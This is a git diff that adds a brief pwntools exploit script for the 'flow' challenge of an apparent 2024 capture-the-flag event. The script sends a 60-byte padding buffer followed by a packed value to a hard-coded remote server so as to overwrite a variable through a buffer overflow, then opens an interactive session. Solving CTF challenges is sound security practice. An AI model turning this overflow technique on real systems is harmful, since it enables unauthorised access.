diff --git a/p3rf3ctr00t_ctf_2024/flow/a.py b/p3rf3ctr00t_ctf_2024/flow/a.py new file mode 100644 index 0000000..1a529f8 --- /dev/null +++ b/p3rf3ctr00t_ctf_2024/flow/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./flow", checksec=False) +# r = process() +r = remote("94.72.112.248", 7001) + +# funcs +s = lambda a: r.sendlineafter(b": ", a) + +# buf +buf = b"A"*60 +buf += p32(0x34333231) +s(buf) + +r.interactive() \ No newline at end of file